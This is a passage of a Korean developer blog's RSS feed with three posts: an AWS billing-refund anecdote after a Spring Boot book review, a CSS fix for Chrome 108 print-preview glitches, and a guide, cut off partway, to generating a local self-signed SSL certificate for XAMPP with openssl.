&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_20230204_204719705.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;5342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z5ob3/btrX8hvGpSb/6saBWoLO9V0tHUIdk2Rlx0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z5ob3/btrX8hvGpSb/6saBWoLO9V0tHUIdk2Rlx0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z5ob3/btrX8hvGpSb/6saBWoLO9V0tHUIdk2Rlx0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz5ob3%2FbtrX8hvGpSb%2F6saBWoLO9V0tHUIdk2Rlx0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;396&quot; height=&quot;1959&quot; data-filename=&quot;KakaoTalk_20230204_204719705.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;5342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라고 하네요.&lt;br /&gt;역시 든든하다 우리 남매 ~&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여튼 travis 관련 부분은 금방 해결이 되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QOhtQ/btrX4mLm7gy/CBPLaUp9UvksBv6tM6ZlPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QOhtQ/btrX4mLm7gy/CBPLaUp9UvksBv6tM6ZlPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QOhtQ/btrX4mLm7gy/CBPLaUp9UvksBv6tM6ZlPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQOhtQ%2FbtrX4mLm7gy%2FCBPLaUp9UvksBv6tM6ZlPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1289&quot; height=&quot;558&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;근데 문제가 하나 더.. 요번에 해당 서적을 보면서 만들었던 아마존 계정의 요금이 청구가 되었는데 무려 1월달치로 42만원 가량이 청구가 되었습니다.&lt;br /&gt;2/3일에 청구가된다고하는데 정확히 어제죠.. 모처럼 토요일 아침이니 좀 더 자볼까 하고 휴대폰 확인하다가 갑자기 신용카드에 42만원 결제되었다고 하길래 눈이 번쩍 뜨이면서 이게 뭔 상황인가 하고 봤더니 ..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;625&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biONhK/btrX4lFFWGI/gvnpD1U9DVr8geCgGOkL70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biONhK/btrX4lFFWGI/gvnpD1U9DVr8geCgGOkL70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biONhK/btrX4lFFWGI/gvnpD1U9DVr8geCgGOkL70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiONhK%2FbtrX4lFFWGI%2FgvnpD1U9DVr8geCgGOkL70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;705&quot; height=&quot;625&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;625&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;23년 1월에 419,868 KRW&lt;br /&gt;23년 2월 (현재까지) 97,893 KRW&lt;br /&gt;아니.. 2월은 이제 3일 되었는데 10만원이 청구가된다고 ..?&lt;br /&gt;&lt;br /&gt;아마존 요금 청구되어서 환불받았다는거 건너건너 듣기야 했지 제가 해당이 될줄은 몰랐습니다 ㅎ&lt;br /&gt;다행히도 상업적 서비스가 아닌 공부용으로 썻었다 라고 문의를 하면 1회정도는 봐준다 뭐 얘기를 들었던지라&lt;br /&gt;aws 에 문의를 넣은 상태고 현재 답변은 받았습니다.&lt;br /&gt;&lt;br /&gt;도와줄수 있을거같고, 사용중인 서비스들은 모조리 종료해라 라고 메일이 회신왔네요&lt;br /&gt;요금 조정해줄테니 다른 요금제를 써라 라고 추천하는 뉘앙스인뎈ㅋ&lt;br /&gt;이번에 한번 데이니 무서워서 아예 서비스 다 종료시키고 aws 계정 탈퇴하려고 합니다...&lt;br /&gt;&lt;br /&gt;여튼 잡담이 너무 길었는데!&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Github 에 푸시할시 CI/CD 로 배포 , 그리고 무중단 배포까지 경험을 해볼수있는 책이었습니다.&lt;br /&gt;전반적인 서비스를 경험할수있어서 풀스택을 추구하는 제겐 너무나도 메리트있게 다가온 책이었고 향로님 진짜 대단하신듯해요!&lt;br /&gt;이런 좋은 책 써주셔서 정말 감사합니다 !&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 그리고 환불처리 관련해서는 결과 나오면 나오는대로 내용 더 덧붙혀서 수정하겠습니다 ㅎㅎ;&lt;br /&gt;&lt;br /&gt;23.02.10 내용추가&lt;br /&gt;환불 받았습니다.&lt;br /&gt;내용이 길어져서 환불방법에 대해서는 네이버 블로그에 기재합니다.&lt;br /&gt;&lt;a href=&quot;https://blog.naver.com/bugkingus/223011092468&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://blog.naver.com/bugkingus/223011092468&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/bug41/freelec-springboot2-webservice&quot;&gt;https://github.com/bug41/freelec-springboot2-webservice&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1675511386634&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - bug41/freelec-springboot2-webservice: 스프링부트 테스트&quot; data-og-description=&quot;스프링부트 테스트. Contribute to bug41/freelec-springboot2-webservice development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/bug41/freelec-springboot2-webservice&quot; data-og-url=&quot;https://github.com/bug41/freelec-springboot2-webservice&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eyCVd/hyRveFCNn1/9NCwaVmnrcGHnYBgRtPC61/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/bug41/freelec-springboot2-webservice&quot; data-source-url=&quot;https://github.com/bug41/freelec-springboot2-webservice&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eyCVd/hyRveFCNn1/9NCwaVmnrcGHnYBgRtPC61/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - bug41/freelec-springboot2-webservice: 스프링부트 테스트&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;스프링부트 테스트. Contribute to bug41/freelec-springboot2-webservice development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/후기</category>
      <category>AWS</category>
      <category>AWS 환불</category>
      <category>aws요금청구</category>
      <category>it책</category>
      <category>개발공부</category>
      <category>스프링부트</category>
      <category>스프링부트서적</category>
      <category>이동욱님</category>
      <category>트래비스</category>
      <category>향로님</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/195</guid>
      <comments>https://bug41.tistory.com/entry/%EC%8A%A4%ED%94%84%EB%A7%81-%EB%B6%80%ED%8A%B8%EC%99%80-AWS%EB%A1%9C-%ED%98%BC%EC%9E%90-%EA%B5%AC%ED%98%84%ED%95%98%EB%8A%94-%EC%9B%B9-%EC%84%9C%EB%B9%84%EC%8A%A4-%EB%A5%BC-%EB%A7%88%EC%B9%98%EA%B3%A0#entry195comment</comments>
      <pubDate>Sat, 4 Feb 2023 21:18:10 +0900</pubDate>
    </item>
    <item>
      <title>[CSS] Chrome 108 업데이트 이후 프린트 미리보기 인쇄 이슈 해결방법</title>
      <link>https://bug41.tistory.com/entry/CSS-Chrome-108-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-%EC%9D%B4%ED%9B%84-%ED%94%84%EB%A6%B0%ED%8A%B8-%EB%AF%B8%EB%A6%AC%EB%B3%B4%EA%B8%B0-%EC%9D%B8%EC%87%84-%EC%9D%B4%EC%8A%88-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;크롬 108 업데이트 이후 인쇄 미리보기 화면에서부터 css 박살나는 화면 목격&lt;br /&gt;정확히는 테이블에서 rowspan 이 이상하게 보이고, 이미지도 중첩되어서 보이는둥 그런식으로 보임&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;샘플 이미지는 아래와 같다&lt;br /&gt;각각 다른 이미지임&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;230109110926_9264.jpg&quot; data-origin-width=&quot;344&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn8eoB/btrV0hsVEB0/ekVJ7oZc8GFO7IoJ660TXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn8eoB/btrV0hsVEB0/ekVJ7oZc8GFO7IoJ660TXK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn8eoB/btrV0hsVEB0/ekVJ7oZc8GFO7IoJ660TXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn8eoB%2FbtrV0hsVEB0%2FekVJ7oZc8GFO7IoJ660TXK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;225&quot; data-filename=&quot;230109110926_9264.jpg&quot; data-origin-width=&quot;344&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;230109110926_7963.jpg&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;1566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ed5B0t/btrV1T5KoLP/cANLwpVfZjGnB7wgh7E470/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ed5B0t/btrV1T5KoLP/cANLwpVfZjGnB7wgh7E470/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ed5B0t/btrV1T5KoLP/cANLwpVfZjGnB7wgh7E470/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fed5B0t%2FbtrV1T5KoLP%2FcANLwpVfZjGnB7wgh7E470%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;281&quot; height=&quot;558&quot; data-filename=&quot;230109110926_7963.jpg&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;1566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 아래와 같이 다른거 다 빼버리고 심플하게 이미지 보여주는 html 페이지 있다고 치자&lt;/p&gt;
&lt;pre id=&quot;code_1673500572827&quot; class=&quot;xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
        &amp;lt;title&amp;gt;프린트 테스트&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;p&amp;gt;이 문서는 HTML 문서입니다.&amp;lt;/p&amp;gt;
        &amp;lt;img src=&quot;./230109110926_7963.jpg&quot;/&amp;gt;
        &amp;lt;img src=&quot;./230109110926_9264.jpg&quot;/&amp;gt;

    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 실행시켰을때의 페이지 화면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Image_2023-01-10 23_28_34.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;873&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKR1fo/btrV3ymJU1d/BBSnUKzkeBRsnkbhExxYu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKR1fo/btrV3ymJU1d/BBSnUKzkeBRsnkbhExxYu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKR1fo/btrV3ymJU1d/BBSnUKzkeBRsnkbhExxYu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKR1fo%2FbtrV3ymJU1d%2FBBSnUKzkeBRsnkbhExxYu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;873&quot; data-filename=&quot;Image_2023-01-10 23_28_34.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;873&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 해당 페이지에서 크롬에서 인쇄를 하려고 미리보기에서 보면 아래처럼 보인다.&lt;br /&gt;긴 이미지에 고양이가 껴서 들어감&lt;br /&gt;중첩되서 보임&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Image_2023-01-10 23_28_53.png&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;869&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOI3iZ/btrVZ23Jkzz/euP3zWPOXyobufL2GigHF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOI3iZ/btrVZ23Jkzz/euP3zWPOXyobufL2GigHF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOI3iZ/btrVZ23Jkzz/euP3zWPOXyobufL2GigHF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOI3iZ%2FbtrVZ23Jkzz%2FeuP3zWPOXyobufL2GigHF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;869&quot; data-filename=&quot;Image_2023-01-10 23_28_53.png&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;869&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스샷을 찍어놓진 않았으나 테이블 rowspan 에서도 다깨지고 늘어져보이는걸 확인 할 수 있었다.&lt;br /&gt;해결방법은 아래처럼 body 에 contain: size 추가&lt;/p&gt;
&lt;pre id=&quot;code_1673500492075&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    body{
        contain: size; 
    }    
&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;body 에 추가 하고나니 아래처럼 정상적으로 보이는것을 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Image_2023-01-10 23_29_41.png&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;859&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/neCeu/btrV1gfN3VC/K2l23YJysamQhwbzhkegsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/neCeu/btrV1gfN3VC/K2l23YJysamQhwbzhkegsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/neCeu/btrV1gfN3VC/K2l23YJysamQhwbzhkegsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FneCeu%2FbtrV1gfN3VC%2FK2l23YJysamQhwbzhkegsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;859&quot; data-filename=&quot;Image_2023-01-10 23_29_41.png&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;859&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블 rowspan 에서도 동일&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;108 업데이트 이후 뭐가 바꼈는진 모르겠다만 ..&lt;br /&gt;그래도 금방 해결이되서 다행이다.&lt;br /&gt;&lt;br /&gt;혹시 다른 css 에 어떤 영향을 끼칠지 찜찜하니 미디어 프린터에서만 나오게 하는것도 한 방법일듯하다.&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>chorme 108</category>
      <category>chrome browser print issue</category>
      <category>chrome print issue</category>
      <category>chrome version 108</category>
      <category>crhome 108 print</category>
      <category>크롬 인쇄미리보기</category>
      <category>크롬 인쇄미리보기 깨짐</category>
      <category>크롬브라우저</category>
      <category>크롬브라우저 버전108</category>
      <category>크롬브라우저 프린트이슈</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/194</guid>
      <comments>https://bug41.tistory.com/entry/CSS-Chrome-108-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-%EC%9D%B4%ED%9B%84-%ED%94%84%EB%A6%B0%ED%8A%B8-%EB%AF%B8%EB%A6%AC%EB%B3%B4%EA%B8%B0-%EC%9D%B8%EC%87%84-%EC%9D%B4%EC%8A%88-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95#entry194comment</comments>
      <pubDate>Thu, 12 Jan 2023 14:18:24 +0900</pubDate>
    </item>
    <item>
      <title>[XAMPP] 로컬 SSL 인증서, https 적용하기</title>
      <link>https://bug41.tistory.com/entry/XAMPP-%EB%A1%9C%EC%BB%AC-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-https-%EC%A0%81%EC%9A%A9%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;환경 XAMPP ( Apache + PHP + Mysql)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wA03g/btrUJj6f3i2/PDzrotAJrJpnTRMzX1hzH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wA03g/btrUJj6f3i2/PDzrotAJrJpnTRMzX1hzH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wA03g/btrUJj6f3i2/PDzrotAJrJpnTRMzX1hzH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwA03g%2FbtrUJj6f3i2%2FPDzrotAJrJpnTRMzX1hzH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;732&quot; height=&quot;533&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;xampp 설치된 경로 필요 (기본값이면 대부분 C:\xampp\ 에 위치)&lt;br /&gt;정 모르겠으면 아래처럼 Apache - Config 눌러서 나오는 conf 아무거나 들어가서 경로 확인하면됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;435&quot; data-origin-height=&quot;274&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIrzg9/btrULNyYWIP/GuzWkgDhb3x3lCPWp10aU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIrzg9/btrULNyYWIP/GuzWkgDhb3x3lCPWp10aU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIrzg9/btrULNyYWIP/GuzWkgDhb3x3lCPWp10aU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIrzg9%2FbtrULNyYWIP%2FGuzWkgDhb3x3lCPWp10aU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;435&quot; height=&quot;274&quot; data-origin-width=&quot;435&quot; data-origin-height=&quot;274&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;중점적으로 수정되는 파일은 아래와 같음&lt;/p&gt;
&lt;pre id=&quot;code_1672187238436&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;C:\xampp\apache\conf\extra\httpd-vhosts.conf
C:\xampp\apache\conf\extra\httpd-xampp.conf&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C:\xampp\apache 진입 후 crt 라는 폴더 생성하고 안에 아래 두 파일 넣기&lt;br /&gt;&lt;br /&gt;혹시 다운 안될때를 대비하여 코드 첨부.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/mcRLb/btrUM41ki5t/eScQpjIWIKnvn8leOkJs10/make-cert.bat?attach=1&amp;amp;knm=tfile.bat&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;make-cert.bat&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/wehj1/btrUQa7yXNR/K74dk7nbBC5Cby19kKTwB0/cert.conf?attach=1&amp;amp;knm=tfile.conf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;cert.conf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;make-cert.bat 파일 내용&lt;/p&gt;
&lt;pre id=&quot;code_1672187478601&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@echo off
set /p domain=&quot;Enter Domain: &quot;
set OPENSSL_CONF=../conf/openssl.cnf

if not exist .\%domain% mkdir .\%domain%

..\bin\openssl req -config cert.conf -new -sha256 -newkey rsa:2048 -nodes -keyout %domain%\server.key -x509 -days 3650 -out %domain%\server.crt

echo.
echo -----
echo The certificate was provided.
echo.
pause&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;cert.conf 파일 내용&lt;/p&gt;
&lt;pre id=&quot;code_1672187456120&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[ req ]

default_bits        = 2048
default_keyfile     = server-key.pem
distinguished_name  = subject
req_extensions      = req_ext
x509_extensions     = x509_ext
string_mask         = utf8only

[ subject ]

countryName                 = Country Name (2 letter code)
countryName_default         = US

stateOrProvinceName         = State or Province Name (full name)
stateOrProvinceName_default = NY

localityName                = Locality Name (eg, city)
localityName_default        = New York

organizationName            = Organization Name (eg, company)
organizationName_default    = Example, LLC

commonName                  = Common Name (e.g. server FQDN or YOUR name)
commonName_default          = {{도메인 들어간다}}

emailAddress                = Email Address
emailAddress_default        = test@example.com

[ x509_ext ]

subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid,issuer

basicConstraints       = CA:FALSE
keyUsage               = digitalSignature, keyEncipherment
subjectAltName         = @alternate_names
nsComment              = &quot;OpenSSL Generated Certificate&quot;

[ req_ext ]

subjectKeyIdentifier = hash

basicConstraints     = CA:FALSE
keyUsage             = digitalSignature, keyEncipherment
subjectAltName       = @alternate_names
nsComment            = &quot;OpenSSL Generated Certificate&quot;

[ alternate_names ]

DNS.1       = {{도메인 들어간다}}&lt;/code&gt;&lt;/pre&gt;
